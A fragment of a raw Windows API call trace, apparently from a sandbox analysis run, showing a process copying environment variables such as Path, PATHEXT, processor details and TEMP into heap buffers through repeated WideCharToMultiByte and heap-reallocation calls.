lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.667] GetLastError () returned 0x0 [0042.667] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a1c7a8) returned 0x34 [0042.668] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a1c7a8, Size=0x38) returned 0x3a1c7e8 [0042.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0042.668] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0xe) returned 0x39f5428 [0042.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x39f5428, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.668] GetLastError () returned 0x0 [0042.668] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.669] SetLastError (dwErrCode=0x0) [0042.669] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a1c7e8) returned 0x38 [0042.670] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a1c7e8, Size=0x3c) returned 0x3a00038 [0042.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0042.670] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x69) returned 0x3a273a8 [0042.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x3a273a8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a00038) returned 0x3c [0042.672] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a00038, Size=0x40) returned 0x3a00080 [0042.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0042.672] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3e) returned 0x3a00038 [0042.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3a00038, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.673] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a00080) returned 0x40 [0042.673] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a00080, Size=0x44) returned 0x3a07c70 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.673] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1b) returned 0x3a35588 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3a35588, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0042.673] GetLastError () returned 0x0 [0042.673] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a07c70) returned 0x44 [0042.673] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a07c70, Size=0x48) returned 0x3a07cc0 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0042.673] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1d) returned 0x3a35560 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x3a35560, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0042.673] GetLastError () returned 0x0 [0042.673] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a07cc0) returned 0x48 [0042.673] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a07cc0, Size=0x4c) returned 0x39a5858 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0042.673] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x48) returned 0x3a07cc0 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x3a07cc0, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0042.673] GetLastError () returned 0x0 [0042.673] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39a5858) returned 0x4c [0042.673] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39a5858, Size=0x50) returned 0x39a5960 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0042.673] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x12) returned 0x39f6de8 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x39f6de8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0042.673] GetLastError () returned 0x0 [0042.673] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39a5960) returned 0x50 [0042.673] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39a5960, Size=0x54) returned 0x39e61c0 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0042.673] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x18) returned 0x39f6e48 [0042.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x39f6e48, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0042.673] GetLastError () returned 0x0 [0042.673] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39e61c0) returned 0x54 [0042.674] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39e61c0, Size=0x58) returned 0x39e6220 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.674] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1b) returned 0x3a355b0 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3a355b0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0042.674] GetLastError () returned 0x0 [0042.674] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39e6220) returned 0x58 [0042.674] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39e6220, Size=0x5c) returned 0x3963110 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0042.674] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x24) returned 0x3a271a0 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3a271a0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0042.674] GetLastError () returned 0x0 [0042.674] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3963110) returned 0x5c [0042.674] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3963110, Size=0x60) returned 0x39631e0 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0042.674] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x29) returned 0x3a28cd0 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3a28cd0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0042.674] GetLastError () returned 0x0 [0042.674] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x39631e0) returned 0x60 [0042.674] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x39631e0, Size=0x64) returned 0x396d678 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.674] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1e) returned 0x3a355d8 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x3a355d8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0042.674] GetLastError () returned 0x0 [0042.674] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x396d678) returned 0x64 [0042.674] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x396d678, Size=0x68) returned 0x396d758 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0042.674] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x41) returned 0x3a07c70 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x3a07c70, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0042.674] GetLastError () returned 0x0 [0042.674] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x396d758) returned 0x68 [0042.674] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x396d758, Size=0x6c) returned 0x3a27588 [0042.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.674] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x17) returned 0x39f6e68 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x39f6e68, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0042.675] GetLastError () returned 0x0 [0042.675] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a27588) returned 0x6c [0042.675] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a27588, Size=0x70) returned 0x3a27600 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0042.675] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0xf) returned 0x39f5470 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x39f5470, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0042.675] GetLastError () returned 0x0 [0042.675] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0x3a27600) returned 0x70 [0042.675] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0x3a27600, Size=0x74) returned 0xdca930 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0042.675] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x16) returned 0x39f6e88 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x39f6e88, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0042.675] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xdca930) returned 0x74 [0042.675] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xdca930, Size=0x78) returned 0xdca9b0 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0042.675] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2a) returned 0x3a28d40 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x3a28d40, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0042.675] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xdca9b0) returned 0x78 [0042.675] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xdca9b0, Size=0x7c) returned 0xdc53d8 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0042.675] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x29) returned 0x3a28d78 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x3a28d78, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0042.675] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xdc53d8) returned 0x7c [0042.675] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xdc53d8, Size=0x80) returned 0xdc5f00 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0042.675] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x15) returned 0x39f6ea8 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x39f6ea8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0042.675] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xdc5f00) returned 0x80 [0042.675] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xdc5f00, Size=0x84) returned 0xde36f8 [0042.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, 